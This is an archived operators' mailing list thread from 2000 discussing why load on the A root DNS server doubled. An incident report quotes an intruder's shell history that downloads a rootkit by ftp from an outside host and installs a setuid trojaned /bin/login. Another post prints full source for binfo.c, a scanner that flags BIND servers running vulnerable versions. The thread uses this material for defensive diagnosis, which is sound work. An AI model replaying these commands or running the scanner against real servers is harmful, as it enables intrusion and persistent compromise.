Hi all, Disclosure: I'm a journalist with a company called the451.com (details in sig file). Anyhow, that said, I was talking to Network Solutions about their decision to swap out the Sun box that is the A root server and change it for a more powerful RS/6000 S80. Also it is using IBM servers for its new network of name servers - it has already deployed 8 of the intended 12 according to the company, including one brought on stream two days ago in Hong Kong. As most on this list probably already know, it is separating the root servers from the name servers. Anyhow, NSI claims that the strain on the A root server has jumped from 220 million 'hits' to 420 million during Q1 alone. I haven't managed to define what hit is yet but intend to at some point. NSI seems slightly unsure as to the main reason for the increase in hits, but speculates that one of the reasons may be says the main reason for this is that ISP's are using different caching techniques and more & more searches are going right to the top of the tree than before. What do people on this list feel about this as a reason? It seems a little woolly to me. Cheers, Nick -- Nick Patience Internet Editor & NY Dep. Bureau Chief the451.com | wap.the451.com T: 212 460 7131 M: 917 312 5712 F: 413 826 8217 nick.patience@the451.com
We are seeing a small number of machines that almost do DOS attacks so many hits are being requested. It started a few months ago. The number of machines that do this seems to be slowly increasing. Could this be a configuration problem in some companies new DNS server software? Dirk On Sat, Apr 22, 2000 at 11:56:37AM -0400, Nick Patience wrote:
Hi all,
Disclosure: I'm a journalist with a company called the451.com (details in sig file).
Anyhow, that said, I was talking to Network Solutions about their decision to swap out the Sun box that is the A root server and change it for a more powerful RS/6000 S80. Also it is using IBM servers for its new network of name servers - it has already deployed 8 of the intended 12 according to the company, including one brought on stream two days ago in Hong Kong.
As most on this list probably already know, it is separating the root servers from the name servers.
Anyhow, NSI claims that the strain on the A root server has jumped from 220 million 'hits' to 420 million during Q1 alone. I haven't managed to define what hit is yet but intend to at some point.
NSI seems slightly unsure as to the main reason for the increase in hits, but speculates that one of the reasons may be says the main reason for this is that ISP's are using different caching techniques and more & more searches are going right to the top of the tree than before.
What do people on this list feel about this as a reason? It seems a little woolly to me.
Cheers,
Nick
-- Nick Patience Internet Editor & NY Dep. Bureau Chief the451.com | wap.the451.com T: 212 460 7131 M: 917 312 5712 F: 413 826 8217 nick.patience@the451.com
Depending on how the statistical distribution is falling, I would venture a guess to say its web companies resolving their web hit's DNS. My logic is this: The number of requests in a short time is very high, and as sites generate more and more logs the number of requests goes up. Since many of these sites (even small ones) could easily overwhelm their ISP (in the case of a hosting company) of their hosting company (in the case of an individual customer)'s name servers, these guys are forced to do 100% of the queries themselves. Many of these log resolvers don't have name-lookup caching anywhere near as sophisticated as bind, and some won't maintain their cache between different log run (picture running the logs for 10,000 virtual domains individually -- each night). And/or: I would guess that most new unix/other os installs that are expected to be on the net probably default talking directly to the root zone instead of their immediate upstream ISP. (From a software point-of-view, its easier than asking the customer what his local DNS server is, and then having the same customer call support when his DNS doesn't work). Last theory is just math: As the number of domains goes up, the statistical probability of any particular domain being cached in any large DNS server goes down. (Especially if the ISP hasn't been very good about growing the size of their BIND cache). I can see no reason why these same BIND servers won't start making 10-15% more requests to the root servers each (on say growth of 40-60% in the number of domains, and probably lower overall cache/refresh times). This, with some servers doing many times that because they are more directly affected by the increase in domains (more and more unique domains, fewer persistent/repeat inquiries). Deepak Jain AiNET On Sat, 22 Apr 2000, Dirk Harms-Merbitz wrote:
We are seeing a small number of machines that almost do DOS attacks so many hits are being requested.
It started a few months ago. The number of machines that do this seems to be slowly increasing.
Could this be a configuration problem in some companies new DNS server software?
Dirk
On Sat, Apr 22, 2000 at 11:56:37AM -0400, Nick Patience wrote:
Hi all,
Disclosure: I'm a journalist with a company called the451.com (details in sig file).
Anyhow, that said, I was talking to Network Solutions about their decision to swap out the Sun box that is the A root server and change it for a more powerful RS/6000 S80. Also it is using IBM servers for its new network of name servers - it has already deployed 8 of the intended 12 according to the company, including one brought on stream two days ago in Hong Kong.
As most on this list probably already know, it is separating the root servers from the name servers.
Anyhow, NSI claims that the strain on the A root server has jumped from 220 million 'hits' to 420 million during Q1 alone. I haven't managed to define what hit is yet but intend to at some point.
NSI seems slightly unsure as to the main reason for the increase in hits, but speculates that one of the reasons may be says the main reason for this is that ISP's are using different caching techniques and more & more searches are going right to the top of the tree than before.
What do people on this list feel about this as a reason? It seems a little woolly to me.
Cheers,
Nick
-- Nick Patience Internet Editor & NY Dep. Bureau Chief the451.com | wap.the451.com T: 212 460 7131 M: 917 312 5712 F: 413 826 8217 nick.patience@the451.com
That's what we thought initially. Somebody processing logfiles. Doesn't look like it though. A remote machine makes our top ten list and then stays there for days. If we block on a router level then it seems to get fixed eventually on the other end. Dirk On Sat, Apr 22, 2000 at 12:57:54PM -0400, Deepak Jain wrote:
Depending on how the statistical distribution is falling, I would venture a guess to say its web companies resolving their web hit's DNS.
My logic is this:
The number of requests in a short time is very high, and as sites generate more and more logs the number of requests goes up. Since many of these sites (even small ones) could easily overwhelm their ISP (in the case of a hosting company) of their hosting company (in the case of an individual customer)'s name servers, these guys are forced to do 100% of the queries themselves.
Many of these log resolvers don't have name-lookup caching anywhere near as sophisticated as bind, and some won't maintain their cache between different log run (picture running the logs for 10,000 virtual domains individually -- each night).
And/or:
I would guess that most new unix/other os installs that are expected to be on the net probably default talking directly to the root zone instead of their immediate upstream ISP. (From a software point-of-view, its easier than asking the customer what his local DNS server is, and then having the same customer call support when his DNS doesn't work).
Last theory is just math:
As the number of domains goes up, the statistical probability of any particular domain being cached in any large DNS server goes down. (Especially if the ISP hasn't been very good about growing the size of their BIND cache). I can see no reason why these same BIND servers won't start making 10-15% more requests to the root servers each (on say growth of 40-60% in the number of domains, and probably lower overall cache/refresh times). This, with some servers doing many times that because they are more directly affected by the increase in domains (more and more unique domains, fewer persistent/repeat inquiries).
Deepak Jain AiNET
On Sat, 22 Apr 2000, Dirk Harms-Merbitz wrote:
We are seeing a small number of machines that almost do DOS attacks so many hits are being requested.
It started a few months ago. The number of machines that do this seems to be slowly increasing.
Could this be a configuration problem in some companies new DNS server software?
Dirk
On Sat, Apr 22, 2000 at 11:56:37AM -0400, Nick Patience wrote:
Hi all,
Disclosure: I'm a journalist with a company called the451.com (details in sig file).
Anyhow, that said, I was talking to Network Solutions about their decision to swap out the Sun box that is the A root server and change it for a more powerful RS/6000 S80. Also it is using IBM servers for its new network of name servers - it has already deployed 8 of the intended 12 according to the company, including one brought on stream two days ago in Hong Kong.
As most on this list probably already know, it is separating the root servers from the name servers.
Anyhow, NSI claims that the strain on the A root server has jumped from 220 million 'hits' to 420 million during Q1 alone. I haven't managed to define what hit is yet but intend to at some point.
NSI seems slightly unsure as to the main reason for the increase in hits, but speculates that one of the reasons may be says the main reason for this is that ISP's are using different caching techniques and more & more searches are going right to the top of the tree than before.
What do people on this list feel about this as a reason? It seems a little woolly to me.
Cheers,
Nick
-- Nick Patience Internet Editor & NY Dep. Bureau Chief the451.com | wap.the451.com T: 212 460 7131 M: 917 312 5712 F: 413 826 8217 nick.patience@the451.com
On Sat, 22 Apr 2000, Dirk Harms-Merbitz wrote:
That's what we thought initially. Somebody processing logfiles.
Doesn't look like it though. A remote machine makes our top ten list and then stays there for days. If we block on a router level then it seems to get fixed eventually on the other end.
If you're looking at the stats enough to pin down heavy usage to individual systems, it shouldn't be too much more work to track down why they're suddenly making the top ten list. i.e. is it a bug in their resolver, or were they hacked and running some scanner kit that makes heavy use of DNS, with A hard-coded into the scanner? ---------------------------------------------------------------------- Jon Lewis *jlewis@lewis.org*| I route System Administrator | therefore you are Atlantic Net | _________http://www.lewis.org/~jlewis/pgp for PGP public key__________
On Sun, 23 Apr 2000 jlewis@lewis.org wrote:
If you're looking at the stats enough to pin down heavy usage to individual systems, it shouldn't be too much more work to track down why they're suddenly making the top ten list. i.e. is it a bug in their resolver, or were they hacked and running some scanner kit that makes heavy use of DNS, with A hard-coded into the scanner?
While investigating several recent breakins on client machines, I have found that the latter is most likely the case:
From the .bash_history file that was found on one of the machines:
./t666 1 killall -9 named ./t666 1 ./t666 1 ./t666 1 ftp 62.0.178.10 tar -zxvf login.tgz cd login pico rk.h ./configure make cd src mv login /bin chmod 4755 /bin/login ls -ls /bin/login Sadly, the t666 program was not anywhere to be found on the machine. The machine that was compromised was a clients nameserver. It was configured to use our nameservers as forwarders. When the script-kiddy was running the t666 program, it was beating the hell out of our nameservers. Alarms went off, we checked the logs and showed thousands of connections open from their nameserver to ours. When we got into the box, the login.tgz and .bash_history file are all that was to be found. ---- John Fraizer EnterZone, Inc
Update! Just talked to the client and he found the following code in: /dev/.cas/ It was named binfo.c I'm willing to bet that this may have something to do with the thrashing on A as well as on various nameservers around the net. int main (int argc, char *argv[]) { if (argc < 2) return 0; checknamed(argv[1]); } /* * This code was written by: * Joshua James Drake (jdrake@pulsar.net) * * Published 6/9/98 @ 12:02 AM * * The following lines of code are, in a nutshell, written to pry * some information from a nameserver. The information it gives * you may or may not be useful. That is for you to decide. * * However, it will tell you if the server supports IQUERY and, if * possible, what version of bind (by Paul Vixie) it is running. * */ /* local type includes */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <signal.h> #include <time.h> #include <string.h> #include <ctype.h> #include <sys/errno.h> /* network type includes */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <arpa/nameser.h> #include <netdb.h> /* added the versions i know to be vulnerable. Turned it into a function for * my new scanner. It doesn't return anything, just a printf =) */ /* bulky shit for printing dnspkts need to link dnspkt.o from dnspkt.c too */ #ifdef DEBUG #include "dnspkt.h" #endif /* prototypes */ int lookup_host(struct sockaddr_in *ra, char *hn, unsigned short rp); void probe_bind(struct sockaddr_in ra); int talk(int sd, char *pkt, int pktl, char opc); int make_keypkt(char *pktbuf, char opc); void print_ver(char *host, int vul, char *buf); void handle_alarm(int signum); /* * here we simply check arguments, resolve the hostname given and * if all is well, initialize the radom seed and probe away. */ void checknamed(char *ip) { struct sockaddr_in ra; if (!lookup_host(&ra, ip, NAMESERVER_PORT)) return; srand(time(NULL)); probe_bind(ra); } /* * resolve a hostname to a sockaddr_in struct. * we first try treating it like an ip address in a.b.c.d notation * then, if that fails, we try to resolve using DNS ways * if all fails, we return 0. (failed) * if we get the sockaddr_in struct all filled out, we return 1. */ int lookup_host(ra, hn, rp) struct sockaddr_in *ra; char *hn; unsigned short rp; { struct hostent *he; ra->sin_family = AF_INET; ra->sin_port = htons(rp); if ((ra->sin_addr.s_addr = inet_addr(hn)) != -1) return 1; if ((he = gethostbyname(hn)) != (struct hostent *)NULL) { memcpy(&ra->sin_addr.s_addr, he->h_addr, 4); return 1; } herror("Unable to resolve hostname"); return 0; } /* * here we allocate some space for our packets and make sure it's * "fullanull". then we attempt to allocate and setup our socket. * if failure occurs, we shall report error and return. * the we attempt to reverse our address in the sockaddr_in structure * passed as the only argument into a dns name, if that fails, we go * with the ascii ip address representation. then we attempt to * communicate the remote server, if failure, we return. after we * have successfully got our packets back, we close the socket and * print out a summary of what we got. */ void probe_bind(ra) struct sockaddr_in ra; { int sd; char iquery[512], vquery[512], rname[256]; struct hostent *he; HEADER *dh = (HEADER *)iquery; memset(vquery, 0, sizeof(vquery)); memset(iquery, 0, sizeof(iquery)); if (((sd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) || (connect(sd, (struct sockaddr *)&ra, sizeof(ra)) == -1)) { perror("Unable to connect"); if (sd != -1) close(sd); return; } // if ((he = gethostbyaddr((char *)&ra.sin_addr, sizeof(ra.sin_addr), //AF_INET)) == (struct hostent *)NULL) sprintf(rname, "%s", inet_ntoa(ra.sin_addr)); // else // strncpy(rname, he->h_name, sizeof(rname)); if (!talk(sd, iquery, sizeof(iquery), IQUERY)) return; if (!talk(sd, vquery, sizeof(vquery), QUERY)) return; close(sd); /* if dh->rcode == 0, then our iquery request was answered and the remote server supports iquery */ print_ver(rname, dh->rcode == 0, vquery); } /* * write our packet from pkt, wait for a response and put it in pkt. * if the alarm goes off or the read fails, we print error * and return 0. otherwise, our response packet is in pkt and we return 1. */ int talk(sd, pkt, pktl, opc) int sd, pktl; char *pkt, opc; { int pktlen; pktlen = make_keypkt(pkt, opc); if (!write(sd, pkt, pktlen)) { perror("write failed"); close(sd); return 0; } #ifdef DEBUG printf("write() success\n"); #endif siginterrupt(SIGALRM, 1); signal(SIGALRM, handle_alarm); alarm(3); pktlen = read(sd, pkt, pktl); if (pktlen <= 0) { if (errno == EINTR) errno = ETIMEDOUT; //perror("read failed"); close(sd); return 0; } #ifdef DEBUG printf("read success\n"); #endif alarm(0); return 1; } /* * this forms a valid dns packet based on the op code given by opc. * only two opcodes are supported because that's all we need to support. * the packet ends up in pktbuf and the length of the packet is returned. */ int make_keypkt(pktbuf, opc) char *pktbuf; char opc; { HEADER *dnsh; char *ptr = pktbuf; int pktlen = 0; dnsh = (HEADER *) ptr; /* fill out the parts of the DNS header that aren't 0 */ dnsh->id = htons(rand() % 65535); dnsh->opcode = opc; dnsh->rd = 1; dnsh->ra = 1; /* one answer for IQUERY, one question for QUERY */ if (opc == IQUERY) dnsh->ancount = htons(1); else if (opc == QUERY) dnsh->qdcount = htons(1); pktlen += sizeof(HEADER); ptr += sizeof(HEADER); /* we have to make a QUERY, fill out the question section */ if (opc == QUERY) { /* version.bind. == elite */ char qstr[] = "\007version\004bind\000"; int qlen = strlen(qstr) + 1; memcpy(ptr, qstr, qlen); ptr += qlen; pktlen += qlen; PUTSHORT(T_TXT, ptr); PUTSHORT(C_CHAOS, ptr); pktlen += sizeof(short) * 2; } /* add a resource record for the inverse query */ else if (opc == IQUERY) { unsigned long addr = inet_addr("1.2.3.4"); unsigned long ttl = 31337; unsigned short addrlen = 4; *(ptr++) = '\0'; pktlen++; PUTSHORT(T_A, ptr); PUTSHORT(C_IN, ptr); PUTLONG(ttl, ptr); PUTSHORT(addrlen, ptr); PUTLONG(addr, ptr); pktlen += (sizeof(short) * 3) + (sizeof(long) * 2); } /* if we're debugging, show what we just made */ #ifdef DEBUG print_dnspkt(pktbuf, pktbuf + pktlen); #endif return pktlen; } /* * This function takes a DNS packet in buf, and whether or not it reponds to IQUERY in vul. * We cast the packet and extract the response as long as there is one. * If there isn't one, then we assume that the remote server is an old version of bind. * this is the end of the line. */ void print_ver(host, vul, buf) char *host, *buf; int vul; { HEADER *dnsh = (HEADER *)buf; char *ptr, *verstr, temp1[256]; int len; /* So we actually have a response. Lets skip the crap, starting with the header */ ptr = (buf + sizeof(HEADER)); /* then the question section domain name. */ while (*ptr != '\0') ptr++; /* then the trailing null and the type/class of the question */ ptr += 1 + (sizeof(short) * 2); /* now we skip the answer section domain name. (should be the same as the question) */ while (*ptr != '\0') ptr++; /* don't forget the trailing null, type, class, and time to live. */ ptr += 1 + (sizeof(long) + (sizeof(short) * 2)); /* Here we are at the resource record data length, extract it */ GETSHORT(len, ptr); /* avoid the need to decompress the string (treat it as one) */ ptr++; /* allocate space for and copy the version response txt */ verstr = (char *)malloc(len); memset(verstr, 0, len); memcpy(verstr, ptr, len-1); /* run through the vesion string and replace non-printable and non-whitespace characters with a '.' */ for (ptr = verstr; ptr - verstr != len - 1; ptr++) if (!isprint(*ptr) && !isspace(*ptr)) *ptr = '.'; /* print the version and iquery support status, woo hoo */ if(vul) { if(strstr(verstr, "8.2") && strstr(verstr, "-") == NULL && strstr(verstr, "-REL") == NULL) printf("%s: VULN: box running bind %s\n",host,verstr); } if(!vul) { if(strstr(verstr, "8.2")&& strstr(verstr, "-") == NULL && strstr(verstr, "-REL") == NULL) printf("%s: VULN: box running bind %s\n",host,verstr); } } /* * handle the alarm signal by resetting the alarm timer and * the signal handler for SIGALRM. This stuff probably isn't needed, * but I did it anyway. It's good for debugging, ran into some problems with * alarm() not doing its job. */ void handle_alarm(signum) int signum; { alarm(0); signal(SIGALRM, SIG_DFL); #ifdef DEBUG printf("recieved alarm\n"); #endif } --- John Fraizer EnterZone, Inc
Update! Just talked to the client and he found the following code in:
/dev/.cas/
It was named binfo.c
I'm willing to bet that this may have something to do with the thrashing on A as well as on various nameservers around the net.
i doubt it. i, completely coincidentally, heard about binfo five days ago. binfo.c = Bind Version Checker 'binfo' is a quick little script to pull back the version of named running on a remote nameserver. This is handy for comparing it to a list of known vulnerable versions of named/bind. Previous to this, it took a few commands to extract out the version. http://www.attrition.org/tools/other/binfo.c it also tries to determine if the given server supports iquery. -- |-----< "CODE WARRIOR" >-----| codewarrior@daemon.org * "ah! i see you have the internet twofsonet@graffiti.com (Andrew Brown) that goes *ping*!" andrew@crossbar.com * "information is power -- share the wealth."
On Sat, 22 Apr 2000, Nick Patience wrote:
NSI seems slightly unsure as to the main reason for the increase in hits, but speculates that one of the reasons may be says the main reason for this is that ISP's are using different caching techniques and more & more searches are going right to the top of the tree than before.
I have heard from a source that Windows 2000 is sending a whole bunch of "interesting" packets towards the root servers. I don't know if this is true or not, but if it is, this seems to coincide timing wise. The person I talked to referred to the packets as "update notifications" or something like that. Maybe NOTIFY implemented weirdly? - Forrest W. Christian (forrestc@imach.com) KD7EHZ ---------------------------------------------------------------------- iMach, Ltd., P.O. Box 5749, Helena, MT 59604 http://www.imach.com Solutions for your high-tech problems. (406)-442-6648 ----------------------------------------------------------------------
On Sat, 22 Apr 2000, Forrest W. Christian wrote:
On Sat, 22 Apr 2000, Nick Patience wrote:
NSI seems slightly unsure as to the main reason for the increase in hits,
I have heard from a source that Windows 2000 is sending a whole bunch of "interesting" packets towards the root servers. I don't know if this is true or not, but if it is, this seems to coincide timing wise. The person I talked to referred to the packets as "update notifications" or something like that. Maybe NOTIFY implemented weirdly?
Dynamic Updates on a 'orrible scale. It appears to be that if a windows 2000 machine cannot find its forward and reverse name to resolve correctly, it will send a dynamic update for the name to the nearest found parent. Logically, this should *not* be the root nameservers. Well, logically, yes. If the logical (listed) parents are not found, then I think it walks back down the chain, and (possibly) to the roots. As our[1] nameservers are authoritative for a few reverses[2], we tend to see an awful lot of these dynamic updates, which show up as 'Unauthorised update' etc etc. Its the equivilant of a new-born baby waking up during its first night, and immediately bawling down the phone to the deed poll office to change their name. Annoying, but it does save the parents the tramua of naming the babe. --==-- Bruce. [1] APNIC. Std-disclaimer applies. [2] {61,202,203,210,211}.in-addr.arpa .
participants (8)
-
Andrew Brown
-
Bruce Campbell
-
Deepak Jain
-
Dirk Harms-Merbitz
-
Forrest W. Christian
-
jlewis@lewis.org
-
John Fraizer
-
Nick Patience